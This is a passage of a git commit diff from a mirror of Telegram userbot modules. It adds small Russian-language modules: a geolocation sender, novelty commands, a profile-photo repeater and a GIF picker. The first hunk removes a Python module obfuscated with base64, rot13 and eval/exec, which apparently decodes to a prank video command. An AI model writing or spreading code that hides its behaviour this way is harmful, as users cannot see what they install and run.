mirror of
https://github.com/MuRuLOSE/limoka.git
synced 2026-06-16 14:34:17 +02:00
Merge branch 'main' of https://github.com/MuRuLOSE/limoka
This commit is contained in:
@@ -1,11 +0,0 @@
|
||||
# Python code obfuscated by www.development-tools.net
|
||||
|
||||
|
||||
import base64, codecs
|
||||
magic = 'aW1wb3J0IGFzeW5jaW8NCmltcG9ydCBsb2dnaW5nDQpmcm9tIC4uIGltcG9ydCBsb2FkZXIsIHV0aWxzDQoNCmxvZ2dlciA9IGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKQ0KDQpAbG9hZGVyLnRkcw0KY2xhc3MgVmlkZW9EaXN0b3J0aW9ydE1vZChsb2FkZXIuTW9kdWxlKToNCgkiIiLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviIiIg0KCXN0cmluZ3MgPSB7Im5hbWUiOiAiVmlkZW9EaXN0b3J0aW9uIn0NCg0KCUBsb2FkZXIudW5yZXN0cmljdGVkDQoJYXN5bmMgZGVmIHZkaXN0b3J0Y21kKHNlbGYsIG1lc3NhZ2UpOg0KCQkiIiIudmRpc3RvcnQgPHJlcGx5IHRvIHZpZGVvPiIiIg0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2'
|
||||
love = 'V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVv'
|
||||
god = 'DQppbXBvcnQgYXN5bmNpbw0KaW1wb3J0IGxvZ2dpbmcNCmZyb20gLi4gaW1wb3J0IGxvYWRlciwgdXRpbHMNCg0KbG9nZ2VyID0gbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pDQoNCkBsb2FkZXIudGRzDQpjbGFzcyBWaWRlb0Rpc3RvcnRpb3J0TW9kKGxvYWRlci5Nb2R1bGUpOg0KCSLQltC80YvRhSDQtNC70Y8g0LLQuNC00LXQviINCglzdHJpbmdzID0geyJuYW1lIjogIlZpZGVvRGlzdG9ydGlvbiJ9DQoNCglAbG9hZGVyLnVucmVzdHJpY3RlZA0KCWFzeW5jIGRlZiB2ZGlzdG9ydGNtZChzZWxmLCBtZXNzYWdlKToNCgkJIi52ZGlzdG9ydCA8cmVwbHkgdG8gdmlkZW8+Ig0KCQlhd2FpdCBtZXNzYWdlLmVkaXQoIjxiPtCX0LDQs9GA0YPQttCw0Y4g0LLQuNC00LXQvi4uLjwvYj4iKQ0KCQlhd2FpdCBhc3luY2lvLnNsZWVwKDUpDQoJCWF3YWl0IG1lc3NhZ2UuZWRpdCgiPGI+0JTQvtGB0YLQsNGOINC60LDQtNGA0YsuLi48L2I+IikNCg'
|
||||
destiny = 'xWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPH0YKDh9Pj0L4t0YoDiATY0LHhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPu0Y7DfqP40LQDfATBVAP60YQDgATN0LfhYv48Y2V+VvxAPtxWLKqunKDtLKA5ozAcol5moTIypPt1XD0XPDyuq2ScqPOgMKAmLJqyYzIxnKDbVwkvCgPr0LYDi9TN0YQDfgP70L/EwvQDfgP40YGDgqP+Yv4hCP9vCvVcQDbWPJS3LJy0VTSmrJ5wnJ8hp2kyMKNbAFxAPtxWLKqunKDtoJImp2SaMF5woTyyoaDhp2IhMS9znJkyXT1yp3AuM2HhL2uuqPjtVzu0qUN6Yl94rJI0LF5goP9zY05yqzIlE29hozSUnKMyJJ91IKNhoKN0VvjtL2SjqTyiow0vCTV+GzI2MKVtE29hozRtE2y2MFOMo3HtIKNuCP9vCvVcQDbWPJS3LJy0VT1yp3AuM2HhMJEcqPtvJJ91VUquplOlnJAepz9foTIxVFVcQDbWPD0XVvVvQDbWPD=='
|
||||
joy = '\x72\x6f\x74\x31\x33'
|
||||
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
|
||||
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
|
||||
61
Ruslan-Isaev/modules/GeoMod.py
Normal file
61
Ruslan-Isaev/modules/GeoMod.py
Normal file
@@ -0,0 +1,61 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# meta developer: @RUIS_VlP
|
||||
|
||||
from .. import loader, utils
|
||||
import aiohttp
|
||||
from telethon.tl.types import InputGeoPoint, InputMediaGeoPoint
|
||||
from urllib.parse import quote
|
||||
|
||||
async def get_coordinates(query: str):
|
||||
base_url = "https://nominatim.openstreetmap.org/search"
|
||||
encoded_query = quote(query)
|
||||
|
||||
url = f"{base_url}?q={encoded_query}&format=json"
|
||||
headers = {
|
||||
"User-Agent": "Heroku-GeoMod/1.0 (https://t.me/RUIS_VlP)"
|
||||
}
|
||||
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url, headers=headers) as resp:
|
||||
if resp.status == 200:
|
||||
data = await resp.json()
|
||||
if data:
|
||||
lat = float(data[0]["lat"])
|
||||
lon = float(data[0]["lon"])
|
||||
return [lat, lon]
|
||||
return None
|
||||
|
||||
@loader.tds
|
||||
class GeoMod(loader.Module):
|
||||
"""Модуль для отправки геолокации с указанным адресом или координатами"""
|
||||
|
||||
strings = {
|
||||
"name": "GeoMod",
|
||||
}
|
||||
|
||||
@loader.command()
|
||||
async def sendgeo(self, message):
|
||||
"""<адрес> - отправить геолокацию с указанным адресом или координатами"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(
|
||||
message,
|
||||
"<b>Укажите адрес, например:</b> <code>.sendgeo Москва, Манежная улица, 2</code>"
|
||||
)
|
||||
return
|
||||
|
||||
coords = await get_coordinates(args)
|
||||
if coords:
|
||||
await message.client.send_file(
|
||||
message.chat_id,
|
||||
InputMediaGeoPoint(
|
||||
geo_point=InputGeoPoint(
|
||||
lat=coords[0],
|
||||
long=coords[1],
|
||||
)
|
||||
)
|
||||
)
|
||||
await message.delete()
|
||||
else:
|
||||
await utils.answer(message, "<b>Координаты не найдены.</b>")
|
||||
36
Ruslan-Isaev/modules/photos/cover.txt
Normal file
36
Ruslan-Isaev/modules/photos/cover.txt
Normal file
@@ -0,0 +1,36 @@
|
||||
PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT4vdG1wL2ZpbGVzIC0gNjFf
|
||||
MjAyNTEwMTMwMjIzMjAuanBnPC90aXRsZT4KCiAgICA8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50
|
||||
LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgogICAgPG1ldGEgbmFt
|
||||
ZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0x
|
||||
LjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KCiAgICA8bGluayBocmVm
|
||||
PSIvY3NzL3N0eWxlLmNzcyIgbWVkaWE9ImFsbCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0
|
||||
L2NzcyIvPgogICAgPGxpbmsgaHJlZj0nLy9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5
|
||||
PU9wZW4rU2FucytDb25kZW5zZWQ6MzAwLDcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0
|
||||
L2NzcycvPgoKICAgIDxzY3JpcHQgZGF0YS1jZmFzeW5jPSJmYWxzZSIgc3JjPSIvL2RnYWYybmN5
|
||||
NGR0YW4uY2xvdWRmcm9udC5uZXQvP25mYWdkPTEyMTM0NTEiPjwvc2NyaXB0PgoKCiAgICA8IS0t
|
||||
IEdsb2JhbCBzaXRlIHRhZyAoZ3RhZy5qcykgLSBHb29nbGUgQW5hbHl0aWNzIC0tPgogICAgPHNj
|
||||
cmlwdCBhc3luYyBzcmM9Imh0dHBzOi8vd3d3Lmdvb2dsZXRhZ21hbmFnZXIuY29tL2d0YWcvanM/
|
||||
aWQ9VUEtNjYxMTIxNjEtMiI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0PgogICAgICAgIHdpbmRvdy5k
|
||||
YXRhTGF5ZXIgPSB3aW5kb3cuZGF0YUxheWVyIHx8IFtdOwoKICAgICAgICBmdW5jdGlvbiBndGFn
|
||||
KCkgewogICAgICAgICAgICBkYXRhTGF5ZXIucHVzaChhcmd1bWVudHMpOwogICAgICAgIH0KCiAg
|
||||
ICAgICAgZ3RhZygnanMnLCBuZXcgRGF0ZSgpKTsKICAgICAgICBndGFnKCdjb25maWcnLCAnVUEt
|
||||
NjYxMTIxNjEtMicpOwogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CjxkaXYgaWQ9ImNvbnRh
|
||||
aW5lciI+CiAgICA8aGVhZGVyPgogICAgICAgIDxoMT48YSBocmVmPSIvIj4vdG1wL2ZpbGVzPC9h
|
||||
PjwvaDE+CiAgICAgICAgPGgyPlRlbXBvcmFyeSBGaWxlIEhvc3Rpbmc8L2gyPgogICAgPC9oZWFk
|
||||
ZXI+CiAgICA8c2VjdGlvbj4KICAgICAgICAKICAgIDx0YWJsZSBzdHlsZT0iY29sb3I6ICNmZmZm
|
||||
ZmY7IGZvbnQtc2l6ZTogMTJweDsiPgogICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoIHN0eWxl
|
||||
PSJ3aWR0aDogODBweDsiPkZpbGVuYW1lPC90aD4KICAgICAgICAgICAgPHRkPjYxXzIwMjUxMDEz
|
||||
MDIyMzIwLmpwZzwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0
|
||||
aD5TaXplPC90aD4KICAgICAgICAgICAgPHRkPjU1LjI1IEtCPC90ZD4KICAgICAgICA8L3RyPgog
|
||||
ICAgICAgIDx0cj4KICAgICAgICAgICAgPHRoPlVSTDwvdGg+CiAgICAgICAgICAgIDx0ZD48YSB0
|
||||
YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3RtcGZpbGVzLm9yZy9kbC8zOTczNjYyLzYxXzIw
|
||||
MjUxMDEzMDIyMzIwLmpwZyI+aHR0cDovL3RtcGZpbGVzLm9yZy9kbC8zOTczNjYyLzYxXzIwMjUx
|
||||
MDEzMDIyMzIwLmpwZzwvYT48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICAgPHRyPgogICAgICAg
|
||||
ICAgICA8dGg+RXhwaXJlcyBhdDwvdGg+CiAgICAgICAgICAgIDx0ZD4yMDI1LTEwLTEzIDAwOjI2
|
||||
IFVUQzwvdGQ+CiAgICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICA8YnI+CgogICAgICAgICAg
|
||||
ICA8aW1nIGlkPSJpbWdfcHJldmlldyIgc3JjPSJodHRwOi8vdG1wZmlsZXMub3JnL2RsLzM5NzM2
|
||||
NjIvNjFfMjAyNTEwMTMwMjIzMjAuanBnIi8+CiAgICAKICAgIDwvc2VjdGlvbj4KICAgIDxmb290
|
||||
ZXI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLyI+VXBsb2FkPC9hPjwv
|
||||
bGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvYXBpIj5BUEk8L2E+PC9saT4KICAgICAgICAg
|
||||
ICAgPGxpPjxhIGhyZWY9Ii9hYm91dCI+QWJvdXQ8L2E+PC9saT4KICAgICAgICA8L3VsPgogICAg
|
||||
PC9mb290ZXI+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K
|
||||
@@ -63,7 +63,7 @@ async def get_whois(identifier, API_KEY: str) -> dict:
|
||||
return response
|
||||
|
||||
async def fetch_dns_record(session, domain, record_type):
|
||||
url = "https://unfiltered.adguard-dns.com/resolve"
|
||||
url = "https://dns.google/resolve"
|
||||
headers = {"accept": "application/dns-json"}
|
||||
params = {"name": domain, "type": record_type}
|
||||
|
||||
|
||||
170
cryptexctl/modules-mirror/.gitignore
vendored
Normal file
170
cryptexctl/modules-mirror/.gitignore
vendored
Normal file
@@ -0,0 +1,170 @@
|
||||
# ---> Python
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
share/python-wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
MANIFEST
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.nox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*.cover
|
||||
*.py,cover
|
||||
.hypothesis/
|
||||
.pytest_cache/
|
||||
cover/
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
local_settings.py
|
||||
db.sqlite3
|
||||
db.sqlite3-journal
|
||||
|
||||
# Flask stuff:
|
||||
instance/
|
||||
.webassets-cache
|
||||
|
||||
# Scrapy stuff:
|
||||
.scrapy
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
.pybuilder/
|
||||
target/
|
||||
|
||||
# Jupyter Notebook
|
||||
.ipynb_checkpoints
|
||||
|
||||
# IPython
|
||||
profile_default/
|
||||
ipython_config.py
|
||||
|
||||
# pyenv
|
||||
# For a library or package, you might want to ignore these files since the code is
|
||||
# intended to run in multiple environments; otherwise, check them in:
|
||||
# .python-version
|
||||
|
||||
# pipenv
|
||||
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
|
||||
# However, in case of collaboration, if having platform-specific dependencies or dependencies
|
||||
# having no cross-platform support, pipenv may install dependencies that don't work, or not
|
||||
# install all needed dependencies.
|
||||
#Pipfile.lock
|
||||
|
||||
# UV
|
||||
# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
#uv.lock
|
||||
|
||||
# poetry
|
||||
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
|
||||
# This is especially recommended for binary packages to ensure reproducibility, and is more
|
||||
# commonly ignored for libraries.
|
||||
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
|
||||
#poetry.lock
|
||||
|
||||
# pdm
|
||||
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
|
||||
#pdm.lock
|
||||
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
|
||||
# in version control.
|
||||
# https://pdm.fming.dev/latest/usage/project/#working-with-version-control
|
||||
.pdm.toml
|
||||
.pdm-python
|
||||
.pdm-build/
|
||||
|
||||
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
|
||||
__pypackages__/
|
||||
|
||||
# Celery stuff
|
||||
celerybeat-schedule
|
||||
celerybeat.pid
|
||||
|
||||
# SageMath parsed files
|
||||
*.sage.py
|
||||
|
||||
# Environments
|
||||
.env
|
||||
.venv
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
env.bak/
|
||||
venv.bak/
|
||||
|
||||
# Spyder project settings
|
||||
.spyderproject
|
||||
.spyproject
|
||||
|
||||
# Rope project settings
|
||||
.ropeproject
|
||||
|
||||
# mkdocs documentation
|
||||
/site
|
||||
|
||||
# mypy
|
||||
.mypy_cache/
|
||||
.dmypy.json
|
||||
dmypy.json
|
||||
|
||||
# Pyre type checker
|
||||
.pyre/
|
||||
|
||||
# pytype static type analyzer
|
||||
.pytype/
|
||||
|
||||
# Cython debug symbols
|
||||
cython_debug/
|
||||
|
||||
# PyCharm
|
||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
||||
#.idea/
|
||||
|
||||
2
cryptexctl/modules-mirror/README.md
Normal file
2
cryptexctl/modules-mirror/README.md
Normal file
@@ -0,0 +1,2 @@
|
||||
# modules
|
||||
|
||||
53
cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py
Normal file
53
cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py
Normal file
@@ -0,0 +1,53 @@
|
||||
__version__ = (0, 0, 2)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# something.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
from telethon.tl.functions.messages import SendMediaRequest
|
||||
from telethon.tl.types import InputMediaPhotoExternal
|
||||
from .. import loader, utils
|
||||
|
||||
|
||||
@loader.tds
|
||||
class ScriptErrorMod(loader.Module):
|
||||
strings = {"name": "ScriptErrorSender"}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
@loader.command()
|
||||
async def скриптовыеошибки(self, message):
|
||||
image_url = "https://0x0.st/s/57tTFWzUT0tc4HmuG75z_Q/XnMz.jpg"
|
||||
caption = "⚠️Что-то создает скриптовые ошибки"
|
||||
|
||||
reply_to = await message.get_reply_message()
|
||||
|
||||
try:
|
||||
await self.client(
|
||||
SendMediaRequest(
|
||||
peer=message.chat_id,
|
||||
media=InputMediaPhotoExternal(url=image_url),
|
||||
message=caption,
|
||||
reply_to_msg_id=reply_to.id if reply_to else None
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
await utils.answer(message, f"⚠️Что-то создает скриптовые ошибки")
|
||||
|
||||
# Удаляем команду после выполнения
|
||||
await message.delete()
|
||||
44
cryptexctl/modules-mirror/actually.py
Normal file
44
cryptexctl/modules-mirror/actually.py
Normal file
@@ -0,0 +1,44 @@
|
||||
__version__ = (2, 0, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# actually.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
from .. import loader, utils
|
||||
|
||||
class ActuallyMod(loader.Module):
|
||||
"""ehm, actually🤓️."""
|
||||
strings = {
|
||||
"name": "Actually",
|
||||
"example_usage": "Используйте: .actually ur text"
|
||||
}
|
||||
|
||||
@loader.command()
|
||||
async def actually(self, message):
|
||||
"""ehm, actually'"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, self.strings["example_usage"])
|
||||
return
|
||||
|
||||
# Формируем ответ
|
||||
formatted_text = f"ehm,actually {args} {'🤓' * 10}"
|
||||
|
||||
# Отправляем текст и удаляем команду
|
||||
await message.respond(formatted_text)
|
||||
await message.delete()
|
||||
101
cryptexctl/modules-mirror/avaclone.py
Normal file
101
cryptexctl/modules-mirror/avaclone.py
Normal file
@@ -0,0 +1,101 @@
|
||||
__version__ = (1, 1, 2)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
# https://t.me/cryptexctl
|
||||
#
|
||||
# 🔒 Licensed under the GNU AGPLv3
|
||||
# 🌐 https://www.gnu.org/licenses/agpl-3.0.html
|
||||
# avaclone.py
|
||||
# meta developer: @systemxplore
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.6.3
|
||||
|
||||
import asyncio
|
||||
from telethon.tl.functions.photos import UploadProfilePhotoRequest
|
||||
from telethon.errors.rpcerrorlist import PhotoCropSizeSmallError, FilePartsInvalidError
|
||||
from telethon.tl.types import InputFile
|
||||
from .. import loader, utils
|
||||
|
||||
class AvaCloneMod(loader.Module):
|
||||
"""Устанавливает фото/видео/гиф аватарку многократно.\nОсторожно: возможен бан или флудвейт."""
|
||||
strings = {"name": "AvaClone"}
|
||||
|
||||
@loader.command()
|
||||
async def avaclone(self, message):
|
||||
"""
|
||||
Устанавливает аватарку указанное количество раз.
|
||||
Используйте: .avaclone <количество> [ответ на файл/ссылка]
|
||||
"""
|
||||
args = utils.get_args(message)
|
||||
if len(args) < 1:
|
||||
await utils.answer(message, "Укажите количество раз и прикрепите файл.")
|
||||
return
|
||||
|
||||
try:
|
||||
count = int(args[0])
|
||||
if count <= 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await utils.answer(message, "Некорректное количество раз.")
|
||||
return
|
||||
|
||||
reply = await message.get_reply_message()
|
||||
media = None
|
||||
|
||||
if reply and reply.media:
|
||||
media = await self.client.download_media(reply.media)
|
||||
elif len(args) > 1:
|
||||
media = args[1]
|
||||
else:
|
||||
await utils.answer(message, "Ответьте на файл или укажите ссылку на файл.")
|
||||
return
|
||||
|
||||
extension = media.split(".")[-1].lower()
|
||||
if extension not in ["jpg", "jpeg", "png", "gif", "mp4"]:
|
||||
await utils.answer(message, "❌ Формат не поддерживается. Используйте JPG, PNG, GIF или MP4.")
|
||||
return
|
||||
|
||||
success_count = 0
|
||||
for i in range(count):
|
||||
try:
|
||||
uploaded_file = await self.client.upload_file(media)
|
||||
if extension in ["gif", "mp4"]:
|
||||
await self.client(UploadProfilePhotoRequest(
|
||||
file=InputFile(
|
||||
id=uploaded_file.id,
|
||||
parts=uploaded_file.parts,
|
||||
name=media,
|
||||
md5_checksum=uploaded_file.md5_checksum
|
||||
)
|
||||
))
|
||||
else:
|
||||
await self.client(UploadProfilePhotoRequest(file=uploaded_file))
|
||||
success_count += 1
|
||||
await asyncio.sleep(2)
|
||||
except PhotoCropSizeSmallError:
|
||||
await utils.answer(message, "❌ Файл слишком маленький.")
|
||||
break
|
||||
except FilePartsInvalidError:
|
||||
await utils.answer(message, "❌ Неверный файл.")
|
||||
break
|
||||
except Exception as e:
|
||||
await utils.answer(message, f"Ошибка: {e}")
|
||||
break
|
||||
|
||||
if success_count > 0:
|
||||
await utils.answer(
|
||||
message,
|
||||
f"✅ Установлено {success_count} раз(а). Возможен флудвейт, подождите 3 минуты перед следующим использованием."
|
||||
)
|
||||
else:
|
||||
await utils.answer(message, "❌ Не удалось установить аватарку.")
|
||||
11
cryptexctl/modules-mirror/full.txt
Normal file
11
cryptexctl/modules-mirror/full.txt
Normal file
@@ -0,0 +1,11 @@
|
||||
actually
|
||||
avaclone
|
||||
premium_emoji_id
|
||||
randomtrack
|
||||
zovmodule
|
||||
овощерезка
|
||||
сланцы2
|
||||
notesmod
|
||||
SomethingCreatingScriptErrors
|
||||
forgotboard
|
||||
komarumod
|
||||
33
cryptexctl/modules-mirror/komarumod.py
Normal file
33
cryptexctl/modules-mirror/komarumod.py
Normal file
@@ -0,0 +1,33 @@
|
||||
__version__ = (2, 0, 0)
|
||||
# meta developer: @wmodules
|
||||
|
||||
from .. import loader, utils
|
||||
import random
|
||||
from telethon.tl.types import InputMessagesFilterGif
|
||||
|
||||
class KomaruMod(loader.Module):
|
||||
"""Достает рандомную гифку из @komarugif\n канал заменил @systemxplore, оригинальный разработчик: @wmodules"""
|
||||
|
||||
strings = {"name": "KomaruMod v2"}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
async def komarugifcmd(self, message):
|
||||
"""Рандомная гифка"""
|
||||
channel = "@komarugif"
|
||||
gifs = [msg async for msg in self.client.iter_messages(channel, filter=InputMessagesFilterGif)]
|
||||
if not gifs:
|
||||
await message.edit("<b>Нет доступных GIF-ов в канале!</b>")
|
||||
return
|
||||
|
||||
random_gif = random.choice(gifs)
|
||||
reply_to = message.reply_to_msg_id
|
||||
|
||||
await self.client.send_file(
|
||||
message.chat_id,
|
||||
random_gif,
|
||||
reply_to=reply_to
|
||||
)
|
||||
|
||||
await message.delete()
|
||||
109
cryptexctl/modules-mirror/notesmod.py
Normal file
109
cryptexctl/modules-mirror/notesmod.py
Normal file
@@ -0,0 +1,109 @@
|
||||
__version__ = (1, 0, 0)
|
||||
#
|
||||
# 88
|
||||
# ,d ,d 88
|
||||
# 88 88 88
|
||||
# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88
|
||||
# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88
|
||||
# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88
|
||||
# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88
|
||||
# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88
|
||||
# d8' 88
|
||||
# d8' 88
|
||||
# © Copyright 2024
|
||||
